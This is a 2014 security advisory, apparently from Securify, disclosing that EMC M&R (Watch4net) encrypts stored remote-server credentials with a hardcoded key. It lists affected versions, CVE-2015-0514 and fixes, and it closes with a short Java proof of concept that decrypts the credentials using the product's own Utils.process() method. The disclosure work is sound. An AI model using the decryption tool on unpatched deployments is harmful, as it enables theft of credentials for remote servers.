EMC M&R (Watch4net) Insecure Credential Storage

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EMC M&R (Watch4net) data storage collector credentials are not properly
protected
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Han Sahin, November 2014

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Abstract
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It was discovered that EMC M&R (Watch4net) credentials of remote servers
stored in Watch4net are encrypted using a fixed hardcoded password. If
an attacker manages to obtain a copy of the encrypted credentials, it is
trivial to decrypt them.

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Affected products
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EMC reports that the following products are affected by this
vulnerability:

- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1

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See also
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- CVE-2015-0514
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities

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Fix
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EMC released the following updated versions that resolve this
vulnerability:

- EMC M&R (Watch4Net) 6.5u1
- EMC ViPR SRM 3.6.1

Registered customers can download upgraded software from support.emc.com
at https://support.emc.com/downloads/34247_ViPR-SRM.

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Details
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https://www.securify.nl/advisory/SFY20141101/emc_m_r__watch4net__data_storage_collector_credentials_are_not_properly_protected.html

Due to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process().

Proof of concept

import com.watch4net.apg.v2.common.config.tools.Utils;

public class Watch4NetCrypt {
   private static void print(String out) {
      System.out.println(out);
   }

   private static void usage() {
      print("Usage:\t watch4netcrypt [-e] password");
      print("\t watch4netcrypt [-d] encrypted");
      System.exit(1);
   }

   public static void main(String[] args) {
      if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) {
         usage();
      }
      Boolean encrypt = "-e".equals(args[0]);
      String password = args[1];
      if (password != null) {
         print(Utils.process(password, encrypt, "centralized", null));
      }
}

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